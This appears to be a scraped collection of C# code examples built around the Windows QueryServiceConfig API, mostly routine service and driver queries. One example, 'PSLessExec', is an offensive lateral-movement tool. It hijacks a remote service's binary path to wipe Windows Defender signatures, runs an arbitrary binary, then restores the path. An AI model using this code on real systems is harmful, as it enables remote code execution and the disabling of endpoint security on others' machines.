internal static ServiceStartMode GetServiceStartMode(ServiceController svc)
        {
            int neededBytes = 0;

            bool result   = QueryServiceConfig(svc.ServiceHandle, IntPtr.Zero, 0, out neededBytes);
            int  win32err = Marshal.GetLastWin32Error();

            if (win32err == ERROR_INSUFFICIENT_BUFFER) //122
            {
                IntPtr ptr = IntPtr.Zero;
                try
                {
                    ptr    = Marshal.AllocCoTaskMem(neededBytes);
                    result = QueryServiceConfig(svc.ServiceHandle, ptr, neededBytes, out neededBytes);
                    if (result)
                    {
                        QUERY_SERVICE_CONFIG config = (QUERY_SERVICE_CONFIG)Marshal.PtrToStructure(ptr, typeof(QUERY_SERVICE_CONFIG));
                        return(config.dwStartType);
                    }
                    else
                    {
                        win32err = Marshal.GetLastWin32Error();
                        throw new Win32Exception(win32err, "QueryServiceConfig failed");
                    }
                }
                finally
                {
                    Marshal.FreeCoTaskMem(ptr);
                }
            }
            else
            {
                throw new Win32Exception(win32err, "QueryServiceConfig failed");
            }
        }
Example #2
0
 public static bool TryStartService(string svcName)
 {
     bool wasDisabled = false;
     QUERY_SERVICE_CONFIG SvcConfig = new QUERY_SERVICE_CONFIG();
     IntPtr hSvcMgr = OpenSCManager(null, null, SC_MANAGER_CONNECT);
     IntPtr hSvc = OpenService(hSvcMgr, "TrustedInstaller",
         SERVICE_CHANGE_CONFIG | SERVICE_QUERY_CONFIG | SERVICE_START);
     // Check if the service was disabled
     uint dummy = 0;
     IntPtr ptr = Marshal.AllocHGlobal(4096);
     if (!QueryServiceConfig(hSvc, ptr, 4096, out dummy)) return false;
     Marshal.PtrToStructure(ptr, SvcConfig);
     Marshal.FreeHGlobal(ptr);
     wasDisabled = (SvcConfig.dwStartType == SvcStartupType.Disabled);
     // If it was disabled, set it as manual temporary
     if (wasDisabled)
     {
         if (!ChangeServiceConfig(hSvc, SERVICE_NO_CHANGE,
             SvcStartupType.Manual, SERVICE_NO_CHANGE,
             null, null, IntPtr.Zero, null, null, null, null)) return false;
     }
     // Start the service
     StartService(hSvc, 0, null);
     // If it was disabled, set it back to disabled
     if (wasDisabled)
     {
         if (!ChangeServiceConfig(hSvc, SERVICE_NO_CHANGE,
             SvcStartupType.Disabled, SERVICE_NO_CHANGE,
             null, null, IntPtr.Zero, null, null, null, null)) return false;
     }
     // Clean up
     CloseServiceHandle(hSvc);
     CloseServiceHandle(hSvcMgr);
     return true;
 }
Example #3
0
        public static ServiceInfo GetServiceInfo(string ServiceName, IntPtr SCMHandle)
        {
            ServiceInfo serviceInfo = new ServiceInfo();

            try
            {
                IntPtr serviceHandle = OpenService(SCMHandle, ServiceName, 0xF01FF);

                uint bytesNeeded         = 0;
                QUERY_SERVICE_CONFIG qsc = new QUERY_SERVICE_CONFIG();

                IntPtr qscPtr = IntPtr.Zero;

                bool retCode = QueryServiceConfig(serviceHandle, qscPtr, 0, out bytesNeeded);

                if (!retCode && bytesNeeded == 0)
                {
                    throw new Win32Exception();
                }
                else
                {
                    qscPtr  = Marshal.AllocCoTaskMem((int)bytesNeeded);
                    retCode = QueryServiceConfig(serviceHandle, qscPtr, bytesNeeded, out bytesNeeded);
                    if (!retCode)
                    {
                        throw new Win32Exception();
                    }
                    qsc.binaryPathName = IntPtr.Zero;
                    qsc.dependencies   = IntPtr.Zero;
                    qsc.displayName    = IntPtr.Zero;
                    qsc.loadOrderGroup = IntPtr.Zero;
                    qsc.startName      = IntPtr.Zero;

                    qsc = (QUERY_SERVICE_CONFIG)Marshal.PtrToStructure(qscPtr, typeof(QUERY_SERVICE_CONFIG));
                }

                serviceInfo.binaryPathName = Marshal.PtrToStringAuto(qsc.binaryPathName);
                serviceInfo.dependencies   = Marshal.PtrToStringAuto(qsc.dependencies);
                serviceInfo.displayName    = Marshal.PtrToStringAuto(qsc.displayName);
                serviceInfo.loadOrderGroup = Marshal.PtrToStringAuto(qsc.loadOrderGroup);
                serviceInfo.startName      = Marshal.PtrToStringAuto(qsc.startName);

                serviceInfo.errorControl  = qsc.errorControl;
                serviceInfo.serviceType   = qsc.serviceType;
                serviceInfo.startType     = qsc.startType;
                serviceInfo.tagID         = qsc.tagID;
                serviceInfo.serviceHandle = serviceHandle; // Return service handler

                Marshal.FreeHGlobal(qscPtr);
            }
            catch (Exception)
            {
                //Console.WriteLine($"[!] Error trying to open the service {ServiceName}");
            }

            return(serviceInfo);
        }
Example #4
0
        public static bool GetAutoStartValue(string svcName)
        {
            IntPtr hSCManager = IntPtr.Zero;
            IntPtr hService   = IntPtr.Zero;

            try
            {
                hSCManager = OpenSCManager(null, null, ScManagerGenericAccessRigths.GENERIC_WRITE);
                if (hSCManager != IntPtr.Zero)
                {
                    hService = OpenService(hSCManager, svcName, ServiceAccessRigths.SERVICE_QUERY_CONFIG);
                    if (hService != IntPtr.Zero)
                    {
                        int bufLen = 0;
                        if (QueryServiceConfig(hService, IntPtr.Zero, 0, ref bufLen))
                        {
                            throw new Exception("Unexpected result from QueryServiceConfig API.");
                        }
                        int err = GetLastError();
                        if (err != ERROR_INSUFFICIENT_BUFFER)
                        {
                            throw new Exception(string.Format("Could not get service configuration, error 0x{0:X8}.", err));
                        }
                        IntPtr pBuf = Marshal.AllocHGlobal(bufLen);
                        try
                        {
                            if (!QueryServiceConfig(hService, pBuf, bufLen, ref bufLen))
                            {
                                throw new Exception(string.Format("Could not get service configuration, error 0x{0:X8}.", GetLastError()));
                            }
                            QUERY_SERVICE_CONFIG qsc = (QUERY_SERVICE_CONFIG)Marshal.PtrToStructure(pBuf, typeof(QUERY_SERVICE_CONFIG));
                            return(qsc.dwStartType == ServiceStartType.SERVICE_AUTO_START);
                        }
                        finally
                        {
                            Marshal.FreeHGlobal(pBuf);
                        }
                    }
                }
            }
            finally
            {
                if (hService != IntPtr.Zero)
                {
                    CloseServiceHandle(hService);
                }
                if (hSCManager != IntPtr.Zero)
                {
                    CloseServiceHandle(hSCManager);
                }
            }
            throw new Exception(string.Format("Could not get service configuration, error 0x{0:X8}.", GetLastError()));
        }
        public static void Main(string[] args)
        {
            if (args.Length != 3)
            {
                Console.WriteLine("Usage: PSLessExec.exe [Target] [Service] [BinaryToRun]");
                Console.WriteLine("Example: PSLessExec.exe appsrv01 SensorService notepad.exe");
                return;
            }

            // Open remote SCManager
            IntPtr SCMHandle = OpenSCManager(args[0], null, SC_MANAGER_ALL_ACCESS);

            Console.WriteLine($"Got handle on SCManager on {args[0]}: {SCMHandle}.");

            // Access target service
            IntPtr schService = OpenService(SCMHandle, args[1], SERVICE_ALL_ACCESS);

            Console.WriteLine($"Got handle on target service {args[1]}: {schService}.");

            // Get current binPath (two passes, first is to determine the buffer size needed)
            UInt32 dwBytesNeeded;
            QUERY_SERVICE_CONFIG qsc = new QUERY_SERVICE_CONFIG();
            bool   bResult           = QueryServiceConfig(schService, IntPtr.Zero, 0, out dwBytesNeeded);
            IntPtr ptr = Marshal.AllocHGlobal((int)dwBytesNeeded);

            bResult = QueryServiceConfig(schService, ptr, dwBytesNeeded, out dwBytesNeeded);
            Marshal.PtrToStructure(ptr, qsc);
            String binPathOrig = qsc.lpBinaryPathName;

            // Pass 1: Disable Defender signatures
            String defBypass = "******"C:\\Program Files\\Windows Defender\\MpCmdRun.exe\" -RemoveDefinitions -All";

            bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, 0, defBypass, null, null, null, null, null, null);
            Console.WriteLine($"Overwrote service executable to become '{defBypass}', result: {bResult}.");

            // Run the service for Pass 1
            bResult = StartService(schService, 0, null);
            Console.WriteLine("Launched service, defender signatures should be wiped.");

            // Pass 2: Run the chosen binary
            bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, 0, args[2], null, null, null, null, null, null);
            Console.WriteLine($"Overwrote service executable to become '{args[2]}', result: {bResult}.");

            // Run the service for Pass 2
            bResult = StartService(schService, 0, null);
            Console.WriteLine("Launched service. Check for execution!");

            // Pass 3: Restore original binPath
            bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, 0, binPathOrig, null, null, null, null, null, null);
            Console.WriteLine($"Restored service binary to '{binPathOrig}', result: {bResult}.");
        }
Example #6
0
        public static bool TryStartService(string svcName)
        {
            bool wasDisabled = false;
            QUERY_SERVICE_CONFIG SvcConfig = new QUERY_SERVICE_CONFIG();
            IntPtr hSvcMgr = OpenSCManager(null, null, SC_MANAGER_CONNECT);
            IntPtr hSvc    = OpenService(hSvcMgr, "TrustedInstaller",
                                         SERVICE_CHANGE_CONFIG | SERVICE_QUERY_CONFIG | SERVICE_START);
            // Check if the service was disabled
            uint   dummy = 0;
            IntPtr ptr   = Marshal.AllocHGlobal(4096);

            if (!QueryServiceConfig(hSvc, ptr, 4096, out dummy))
            {
                return(false);
            }
            Marshal.PtrToStructure(ptr, SvcConfig);
            Marshal.FreeHGlobal(ptr);
            wasDisabled = (SvcConfig.dwStartType == SvcStartupType.Disabled);
            // If it was disabled, set it as manual temporary
            if (wasDisabled)
            {
                if (!ChangeServiceConfig(hSvc, SERVICE_NO_CHANGE,
                                         SvcStartupType.Manual, SERVICE_NO_CHANGE,
                                         null, null, IntPtr.Zero, null, null, null, null))
                {
                    return(false);
                }
            }
            // Start the service
            StartService(hSvc, 0, null);
            // If it was disabled, set it back to disabled
            if (wasDisabled)
            {
                if (!ChangeServiceConfig(hSvc, SERVICE_NO_CHANGE,
                                         SvcStartupType.Disabled, SERVICE_NO_CHANGE,
                                         null, null, IntPtr.Zero, null, null, null, null))
                {
                    return(false);
                }
            }
            // Clean up
            CloseServiceHandle(hSvc);
            CloseServiceHandle(hSvcMgr);
            return(true);
        }
Example #7
0
        private static string GetServiceBinPath(IntPtr service)
        {
            var config = new QUERY_SERVICE_CONFIG();

            var ptr = Marshal.AllocHGlobal(4096);

            uint bytesOut = 0;

            if (!QueryServiceConfig(service, ptr, 4096, out bytesOut))
            {
                throw new ApplicationException("Failed to query service config. (" + Marshal.GetLastWin32Error() + ")");
            }

            Marshal.PtrToStructure(ptr, config);
            Marshal.FreeHGlobal(ptr);

            return(config.lpBinaryPathName.Replace("\\??\\C:", "C:"));
        }
Example #8
0
        public static string QueryServiceExePath(string serviceName)
        {
            string exePath = null;

            IntPtr scm = OpenSCManager(ScmAccessRights.Connect);

            if (scm != IntPtr.Zero)
            {
                IntPtr service = OpenService(scm, serviceName, ServiceAccessRights.QueryStatus | ServiceAccessRights.QueryConfig);
                if (service != IntPtr.Zero)
                {
                    int    bytesNeeded = 1000;
                    IntPtr qscPtr      = IntPtr.Zero;
                    try
                    {
                        qscPtr = Marshal.AllocCoTaskMem(bytesNeeded);
                        int ret = QueryServiceConfig(service, qscPtr, bytesNeeded, ref bytesNeeded);
                        if (ret == 0)
                        {
                            qscPtr = Marshal.ReAllocCoTaskMem(qscPtr, bytesNeeded);
                            ret    = QueryServiceConfig(service, qscPtr, bytesNeeded, ref bytesNeeded);
                        }
                        if (ret > 0)
                        {
                            QUERY_SERVICE_CONFIG qsc = Marshal.PtrToStructure(qscPtr, typeof(QUERY_SERVICE_CONFIG)) as QUERY_SERVICE_CONFIG;
                            exePath = qsc.lpBinaryPathName;
                        }
                    }
                    catch (Exception ex)
                    {
                        System.Windows.MessageBox.Show(ex.Message + "\r\n" + ex.StackTrace);
                    }
                    finally
                    {
                        Marshal.FreeCoTaskMem(qscPtr);
                    }
                }
                CloseServiceHandle(service);
            }
            CloseServiceHandle(scm);
            return(exePath);
        }
        // 检查当前本软件驱动是否已经安装
        public static bool IsDriverInstalled(out FileVersionInfo versionInfo)
        {
            string tempdir = Path.GetTempPath();
            string mydir = Path.Combine(tempdir, tmpDriverPath);

            versionInfo = null;
            bool drvInstalled = false;
            const uint GENERIC_READ = 0x80000000;

            // 打开服务控制管理器
            IntPtr scmgr = OpenSCManager(null, null, GENERIC_READ);
            if (!scmgr.Equals(IntPtr.Zero))
            {
                // 查找服务
                const uint SERVICE_QUERY_CONFIG = 0x00000001;
                IntPtr service = OpenService(scmgr, "FKUsbTracer", SERVICE_QUERY_CONFIG);
                if (!service.Equals(IntPtr.Zero))
                {
                    // 获取文件版本号
                    uint dwBytesNeeded = 0;
                    QueryServiceConfig(service, IntPtr.Zero, dwBytesNeeded, out dwBytesNeeded);
                    IntPtr ptr = Marshal.AllocHGlobal((int)dwBytesNeeded);
                    if (QueryServiceConfig(service, ptr, dwBytesNeeded, out dwBytesNeeded))
                    {
                        // 成功找到服务路径
                        QUERY_SERVICE_CONFIG qsConfig = new QUERY_SERVICE_CONFIG();
                        Marshal.PtrToStructure(ptr, qsConfig);
                        var binarypath = qsConfig.lpBinaryPathName;
                        binarypath = Regex.Replace(binarypath, "\\\\SystemRoot\\\\", "", RegexOptions.IgnoreCase);
                        // 获取二进制数据版本号
                        string sysroot = Environment.ExpandEnvironmentVariables("%systemroot%");
                        versionInfo = FileVersionInfo.GetVersionInfo(sysroot + "\\" + binarypath);
                        // 驱动正常安装,并获得了完全信息
                        drvInstalled = true;
                    }
                    Marshal.FreeHGlobal(ptr);
                    CloseServiceHandle(service);
                }
                CloseServiceHandle(scmgr);
            }
            return drvInstalled;
        }
Example #10
0
        public static bool IsDriverInstalled(out FileVersionInfo versionInfo)
        {
            versionInfo = null;

            bool       drvInstalled = false;
            const uint GENERIC_READ = 0x80000000;
            // open service manager
            IntPtr scmgr = OpenSCManager(null, null, GENERIC_READ);

            if (!scmgr.Equals(IntPtr.Zero))
            {
                // open busdog service
                const uint SERVICE_QUERY_CONFIG = 0x00000001;
                IntPtr     service = OpenService(scmgr, "busdog", SERVICE_QUERY_CONFIG);
                if (!service.Equals(IntPtr.Zero))
                {
                    // find the busdog binary and get its file version
                    uint dwBytesNeeded = 0;
                    QueryServiceConfig(service, IntPtr.Zero, dwBytesNeeded, out dwBytesNeeded);
                    IntPtr ptr = Marshal.AllocHGlobal((int)dwBytesNeeded);
                    if (QueryServiceConfig(service, ptr, dwBytesNeeded, out dwBytesNeeded))
                    {
                        // success! found busdog service and binary path
                        QUERY_SERVICE_CONFIG qsConfig = new QUERY_SERVICE_CONFIG();
                        Marshal.PtrToStructure(ptr, qsConfig);
                        // replace non-expanded environment var
                        var binarypath = qsConfig.lpBinaryPathName;
                        binarypath = Regex.Replace(binarypath, "\\\\SystemRoot\\\\", "", RegexOptions.IgnoreCase);
                        // get version info of busdog binary
                        string sysroot = Environment.ExpandEnvironmentVariables("%systemroot%");
                        versionInfo = FileVersionInfo.GetVersionInfo(sysroot + "\\" + binarypath);
                        // driver is installed and got all needed info
                        drvInstalled = true;
                    }
                    Marshal.FreeHGlobal(ptr);
                    CloseServiceHandle(service);
                }
                CloseServiceHandle(scmgr);
            }
            return(drvInstalled);
        }
Example #11
0
        private void SetServiceInfo(IntPtr serviceHandle)
        {
            UInt32 dwBytesNeeded;

            // Allocate memory for struct.
            var ptr = Marshal.AllocHGlobal(4096);

            QueryServiceConfig(serviceHandle, ptr, 4096, out dwBytesNeeded);

            var config = new QUERY_SERVICE_CONFIG();

            // Copy
            Marshal.PtrToStructure(ptr, config);
            // Free memory for struct.
            Marshal.FreeHGlobal(ptr);

            UserName       = config.lpServiceStartName.Trim('"');
            Path           = config.lpBinaryPathName;
            ErrorControl   = (ErrorControl)config.dwErrorControl;
            LoadOrderGroup = config.lpLoadOrderGroup;
            TagID          = config.dwTagID;
            StartType      = (StartType)config.dwStartType;
        }
Example #12
0
 public static bool IsDriverInstalled(out FileVersionInfo versionInfo)
 {
     versionInfo = null;
     bool drvInstalled = false;
     const uint GENERIC_READ = 0x80000000;
     // open service manager
     IntPtr scmgr = OpenSCManager(null, null, GENERIC_READ);
     if (!scmgr.Equals(IntPtr.Zero))
     {
         // open busdog service
         const uint SERVICE_QUERY_CONFIG = 0x00000001;
         IntPtr service = OpenService(scmgr, "busdog", SERVICE_QUERY_CONFIG);
         if (!service.Equals(IntPtr.Zero))
         {
             // find the busdog binary and get its file version
             uint dwBytesNeeded = 0;
             QueryServiceConfig(service, IntPtr.Zero, dwBytesNeeded, out dwBytesNeeded);
             IntPtr ptr = Marshal.AllocHGlobal((int)dwBytesNeeded);
             if (QueryServiceConfig(service, ptr, dwBytesNeeded, out dwBytesNeeded))
             {
                 // success! found busdog service and binary path
                 QUERY_SERVICE_CONFIG qsConfig = new QUERY_SERVICE_CONFIG();
                 Marshal.PtrToStructure(ptr, qsConfig);
                 // get version info of busdog binary
                 string sysroot = Environment.ExpandEnvironmentVariables("%systemroot%");
                 versionInfo = FileVersionInfo.GetVersionInfo(sysroot + "\\" + qsConfig.lpBinaryPathName);
                 // driver is installed and got all needed info
                 drvInstalled = true;
             }
             Marshal.FreeHGlobal(ptr);
             CloseServiceHandle(service);
         }
         CloseServiceHandle(scmgr);
     }
     return drvInstalled;
 }
Example #13
0
        public bool ServiceIsAutoStart(string svcName)
        {
            IntPtr sc_hndl = OpenSCManager(null, null, (uint)SCM_ACCESS.GENERIC_READ);

            if (sc_hndl.ToInt32() != 0)
            {
                IntPtr svc_hndl = OpenService(sc_hndl, svcName, (uint)SERVICE_ACCESS.SERVICE_QUERY_CONFIG);
                if (svc_hndl.ToInt32() != 0)
                {
                    UInt32 dwBytesNeeded = 0;

                    // Allocate memory for struct.
                    IntPtr ptr    = Marshal.AllocHGlobal(4096);
                    bool   result = QueryServiceConfig(svc_hndl, ptr, 4096, out dwBytesNeeded);
                    if (result)
                    {
                        uint SERVICE_AUTO_START = 0x00000002;

                        QUERY_SERVICE_CONFIG qsc = new QUERY_SERVICE_CONFIG();
                        // Copy
                        Marshal.PtrToStructure(ptr, qsc);
                        // Free memory for struct.
                        Marshal.FreeHGlobal(ptr);
                        result = (qsc.dwStartType == SERVICE_AUTO_START);
                    }

                    CloseServiceHandle(svc_hndl);
                    CloseServiceHandle(sc_hndl);
                    return(result);
                }

                CloseServiceHandle(sc_hndl);
            }

            return(false);
        }
Example #14
0
 public static extern bool QueryServiceConfigA(
     int hService, [MarshalAs(UnmanagedType.Struct)] ref QUERY_SERVICE_CONFIG lpServiceConfig, int cbBufSize,
     int pcbBytesNeeded);
Example #15
0
 QueryServiceConfigW(int hService,
                     ref QUERY_SERVICE_CONFIG lpServiceConfig,
                     uint cbBufSize,
                     ref uint pcbBytesNeeded);
Example #16
0
 public static extern int QueryServiceConfigW(int hService,
     ref QUERY_SERVICE_CONFIG lpServiceConfig,
     uint cbBufSize,
     ref uint pcbBytesNeeded);
Example #17
0
        private static ServiceController [] GetServiceDependencies(string serviceName, string machineName)
        {
            IntPtr scHandle  = IntPtr.Zero;
            IntPtr svcHandle = IntPtr.Zero;
            IntPtr buffer    = IntPtr.Zero;

            try {
                scHandle = OpenServiceControlManager(machineName,
                                                     SERVICE_MANAGER_RIGHTS.SC_MANAGER_CONNECT);

                svcHandle = OpenService(scHandle, serviceName, SERVICE_RIGHTS.SERVICE_QUERY_CONFIG);
                if (svcHandle == IntPtr.Zero)
                {
                    throw CreateCannotOpenServiceException(serviceName, machineName);
                }

                uint bufferSize  = 0;
                uint bytesNeeded = 0;

                ServiceController [] services;

                while (true)
                {
                    if (!QueryServiceConfig(svcHandle, buffer, bufferSize, out bytesNeeded))
                    {
                        int err = Marshal.GetLastWin32Error();
                        if (err == ERROR_INSUFFICIENT_BUFFER)
                        {
                            buffer     = Marshal.AllocHGlobal((int)bytesNeeded);
                            bufferSize = bytesNeeded;
                        }
                        else
                        {
                            throw new Win32Exception(err);
                        }
                    }
                    else
                    {
                        QUERY_SERVICE_CONFIG config = (QUERY_SERVICE_CONFIG)Marshal.PtrToStructure(
                            buffer, typeof(QUERY_SERVICE_CONFIG));

                        Hashtable     depServices = new Hashtable();
                        IntPtr        iPtr        = config.lpDependencies;
                        StringBuilder sb          = new StringBuilder();
                        string        currentChar = Marshal.PtrToStringUni(iPtr, 1);
                        while (currentChar != "\0")
                        {
                            sb.Append(currentChar);
                            iPtr        = new IntPtr(iPtr.ToInt64() + Marshal.SystemDefaultCharSize);
                            currentChar = Marshal.PtrToStringUni(iPtr, 1);
                            if (currentChar != "\0")
                            {
                                continue;
                            }
                            iPtr        = new IntPtr(iPtr.ToInt64() + Marshal.SystemDefaultCharSize);
                            currentChar = Marshal.PtrToStringUni(iPtr, 1);
                            string dependency = sb.ToString();
                            if (dependency [0] == SC_GROUP_IDENTIFIER)
                            {
                                ServiceController [] groupServices = GetServices(
                                    machineName, SERVICE_TYPE.SERVICE_WIN32,
                                    dependency.Substring(1));
                                foreach (ServiceController sc in groupServices)
                                {
                                    if (!depServices.Contains(sc.ServiceName))
                                    {
                                        depServices.Add(sc.ServiceName, sc);
                                    }
                                }
                            }
                            else if (!depServices.Contains(dependency))
                            {
                                depServices.Add(dependency, new ServiceController(dependency, machineName));
                            }
                            sb.Length = 0;
                        }

                        services = new ServiceController [depServices.Count];
                        depServices.Values.CopyTo(services, 0);
                        break;
                    }
                }

                return(services);
            } finally {
                if (scHandle != IntPtr.Zero)
                {
                    CloseServiceHandle(scHandle);
                }
                if (svcHandle != IntPtr.Zero)
                {
                    CloseServiceHandle(svcHandle);
                }
                if (buffer != IntPtr.Zero)
                {
                    Marshal.FreeHGlobal(buffer);
                }
            }
        }
Example #18
0
        internal static List <Services> GetServices()
        {
            var serviceList = new List <Services>();

            List <ENUM_SERVICE_STATUS_PROCESS> result = new List <ENUM_SERVICE_STATUS_PROCESS>();

            IntPtr handle = IntPtr.Zero;
            IntPtr buf    = IntPtr.Zero;

            try
            {
                handle = OpenSCManager(null, null, (int)ServiceControlManagerType.SC_MANAGER_ALL_ACCESS);
                if (handle != IntPtr.Zero)
                {
                    uint iBytesNeeded      = 0;
                    uint iServicesReturned = 0;
                    uint iResumeHandle     = 0;

                    //  ENUM_SERVICE_STATUS_PROCESS infoLevel = new ENUM_SERVICE_STATUS_PROCESS();
                    if (!EnumServicesStatusEx(handle, SC_ENUM_PROCESS_INFO, (int)ServiceType.SERVICE_WIN32, (int)ServiceStateRequest.SERVICE_STATE_ALL, IntPtr.Zero, 0, out iBytesNeeded, out iServicesReturned, ref iResumeHandle, null))
                    {
                        // allocate our memory to receive the data for all the services (including the names)
                        buf = Marshal.AllocHGlobal((int)iBytesNeeded);

                        if (!EnumServicesStatusEx(handle, SC_ENUM_PROCESS_INFO, (int)ServiceType.SERVICE_WIN32, (int)ServiceStateRequest.SERVICE_STATE_ALL, buf, iBytesNeeded, out iBytesNeeded, out iServicesReturned, ref iResumeHandle, null))
                        {
                            return(null);
                        }

                        ENUM_SERVICE_STATUS_PROCESS serviceStatus;

                        // check if 64 bit system which has different pack sizes
                        if (IntPtr.Size == 8)
                        {
                            long pointer = buf.ToInt64();
                            for (int i = 0; i < (int)iServicesReturned; i++)
                            {
                                serviceStatus = (ENUM_SERVICE_STATUS_PROCESS)Marshal.PtrToStructure(new IntPtr(pointer),
                                                                                                    typeof(ENUM_SERVICE_STATUS_PROCESS));
                                result.Add(serviceStatus);

                                // incremement by sizeof(ENUM_SERVICE_STATUS_PROCESS) allow Packing of 8
                                pointer += ENUM_SERVICE_STATUS_PROCESS.SizePack8;
                            }
                        }
                        else
                        {
                            int pointer = buf.ToInt32();
                            for (int i = 0; i < (int)iServicesReturned; i++)
                            {
                                serviceStatus = (ENUM_SERVICE_STATUS_PROCESS)Marshal.PtrToStructure(new IntPtr(pointer),
                                                                                                    typeof(ENUM_SERVICE_STATUS_PROCESS));
                                result.Add(serviceStatus);

                                // incremement by sizeof(ENUM_SERVICE_STATUS_PROCESS) allow Packing of 4
                                pointer += ENUM_SERVICE_STATUS_PROCESS.SizePack4;
                            }
                        }
                    }

                    for (int i = 0; i < result.Count; i++)
                    {
                        ENUM_SERVICE_STATUS_PROCESS service = result[i];
                        Services srv = new Services();
                        if (srv != null)
                        {
                            srv.ServiceName = service.pServiceName;
                            srv.FullName    = service.pDisplayName;
                            int sstatus = service.ServiceStatus.currentState;
                            int stype   = service.ServiceStatus.serviceType;
                            srv.PID = service.ServiceStatus.processId;


                            switch (sstatus)
                            {
                            case 0x2:
                            case 0x4:
                            case 0x5:
                            case 0x6:
                            case 0x7:
                                srv.Status = "SERVICE_ACTIVE";
                                break;

                            case 0x01:
                                srv.Status = "SERVICE_INACTIVE";
                                break;

                            default:
                                //case 0x3:
                                srv.Status = "UNKNOWN";
                                break;
                            }

                            switch (stype)
                            {
                            case 0x01:
                                srv.Type = "SERVICE_KERNEL_DRIVER";
                                break;

                            case 0x02:
                                srv.Type = "SERVICE_FILE_SYSTEM_DRIVER";
                                break;

                            case 0x10:
                                srv.Type = "SERVICE_WIN32_OWN_PROCESS";
                                break;

                            case 0x20:
                                srv.Type = "SERVICE_WIN32_SHARED_PROCESS";
                                break;

                            case 0x100:
                                srv.Type = "SERVICE_INTERACTIVE_PROCESS";
                                break;

                            default:
                                srv.Type = "UNKNOWN";
                                break;
                            }
                            try
                            {
                                IntPtr serviceHandle = OpenService(handle, service.pServiceName, 0x1);

                                QUERY_SERVICE_CONFIG qUERY_SERVICE_CONFIG = new QUERY_SERVICE_CONFIG();
                                IntPtr ptr         = Marshal.AllocHGlobal(0);
                                int    bytesNeeded = 0;
                                bool   success     = QueryServiceConfig(serviceHandle, ptr, 0, out bytesNeeded);
                                if (bytesNeeded != 0)
                                {
                                    ptr     = Marshal.AllocHGlobal(bytesNeeded);
                                    success = QueryServiceConfig(serviceHandle, ptr,
                                                                 bytesNeeded, out bytesNeeded);

                                    Marshal.PtrToStructure(ptr, qUERY_SERVICE_CONFIG);

                                    Marshal.FreeHGlobal(ptr);
                                }
                                srv.Path        = qUERY_SERVICE_CONFIG.lpBinaryPathName;
                                srv.StartMode   = ((ServiceStartMode)qUERY_SERVICE_CONFIG.dwStartType).ToString();
                                srv.Description = GetServiceDescription(serviceHandle);
                                srv.StartedAs   = qUERY_SERVICE_CONFIG.lpServiceStartName;
                            }
                            catch (Exception)
                            {
                            }
                            serviceList.Add(srv);
                        }
                    }
                }
            }
            catch (Exception)
            {
            }
            finally
            {
                if (handle != IntPtr.Zero)
                {
                    CloseServiceHandle(handle);
                }

                if (buf != IntPtr.Zero)
                {
                    Marshal.FreeHGlobal(buf);
                }
            }

            return(serviceList);
        }
Example #19
0
 private static Boolean StartService()
 {
     Boolean Result = false;
     String ServiceStartName = "";
     IntPtr Mgr = OpenSCManager(null, null, SC_MANAGER_ALL_ACCESS);
     if (Mgr != IntPtr.Zero)
     {
         IntPtr Svc = OpenService(Mgr, "EEPLoaderService", SERVICE_ALL_ACCESS);
         Result = Svc != IntPtr.Zero;
         if (Result)
         {
             UInt32 Size = 0;
             IntPtr Config = Marshal.AllocHGlobal(4096);
             try
             {
                 QueryServiceConfig(Svc, Config, 4096, out Size);
                 QUERY_SERVICE_CONFIG qUERY_SERVICE_CONFIG = new QUERY_SERVICE_CONFIG();
                 Marshal.PtrToStructure(Config, qUERY_SERVICE_CONFIG);
                 ServiceStartName = qUERY_SERVICE_CONFIG.lpServiceStartName;
                 if (String.Compare(ServiceStartName, "LocalSystem") == 0)
                     ServiceStartName = "SYSTEM";
             }
             finally
             {
                 Marshal.FreeHGlobal(Config);
             }
         }
     }
     if (Result)
     {
         StringBuilder UserName = new StringBuilder();
         int NameLength = 256;
         GetUserName(UserName, ref NameLength);
         Result = ServiceStartName.CompareTo(UserName.ToString()) == 0;
     }
     return Result;
 }
Example #20
0
        private Process GetFarFetchedProcess(string serviceName)
        {
            QUERY_SERVICE_CONFIG serviceConfig = new QUERY_SERVICE_CONFIG();

            base.DoNativeServiceTask(serviceName, ServiceAccessFlags.AllAccess, delegate(IntPtr serviceHandle)
            {
                uint num      = 1024U;
                uint num2     = 0U;
                IntPtr intPtr = Marshal.AllocHGlobal((int)num);
                try
                {
                    if (!NativeMethods.QueryServiceConfig(serviceHandle, intPtr, num, out num2))
                    {
                        if (Marshal.GetLastWin32Error() != 122)
                        {
                            throw new Win32Exception(Marshal.GetLastWin32Error());
                        }
                        Marshal.FreeHGlobal(intPtr);
                        intPtr = Marshal.AllocHGlobal((int)num2);
                        if (!NativeMethods.QueryServiceConfig(serviceHandle, intPtr, num2, out num2))
                        {
                            throw new Win32Exception(Marshal.GetLastWin32Error());
                        }
                    }
                    Marshal.PtrToStructure(intPtr, serviceConfig);
                }
                finally
                {
                    Marshal.FreeHGlobal(intPtr);
                }
            });
            if ((serviceConfig.dwServiceType & 16U) == 0U)
            {
                TaskLogger.Log(Strings.NoOwnProcessService(serviceName));
                return(null);
            }
            if (string.IsNullOrEmpty(serviceConfig.binaryPathName))
            {
                TaskLogger.Log(Strings.NoExecutableForService(serviceName));
                return(null);
            }
            string fileNameWithoutExtension = Path.GetFileNameWithoutExtension(ManageSetupService.GetPathWithoutQuotes(ManageSetupService.GetFileNameWithoutFolderNameAndParam(serviceConfig.binaryPathName)));

            Process[] processesByName = Process.GetProcessesByName(fileNameWithoutExtension);
            foreach (Process process in processesByName)
            {
                string processId = "-";
                string startTime = "-";
                string endTime   = "-";
                try
                {
                    processId = process.Id.ToString();
                    if (process.HasExited)
                    {
                        endTime = process.ExitTime.ToString();
                    }
                    else
                    {
                        startTime = process.StartTime.ToString();
                    }
                }
                catch (InvalidOperationException)
                {
                }
                TaskLogger.Log(Strings.FoundProcessesForService(fileNameWithoutExtension, serviceName, processId, startTime, endTime));
            }
            if (processesByName.Length != 1)
            {
                TaskLogger.Log(Strings.BadNumberOfProcessesForService(serviceName, processesByName.Length.ToString()));
                return(null);
            }
            return(processesByName[0]);
        }
Example #21
0
 public static extern Boolean QueryServiceConfig(IntPtr hService, QUERY_SERVICE_CONFIG lpServiceConfig, UInt32 cbBufSize, out UInt32 pcbBytesNeeded);
    static public ServiceProperties GetServiceProperties(string serviceName)
    {
        UInt32 dwBytesNeeded;
        bool   success;

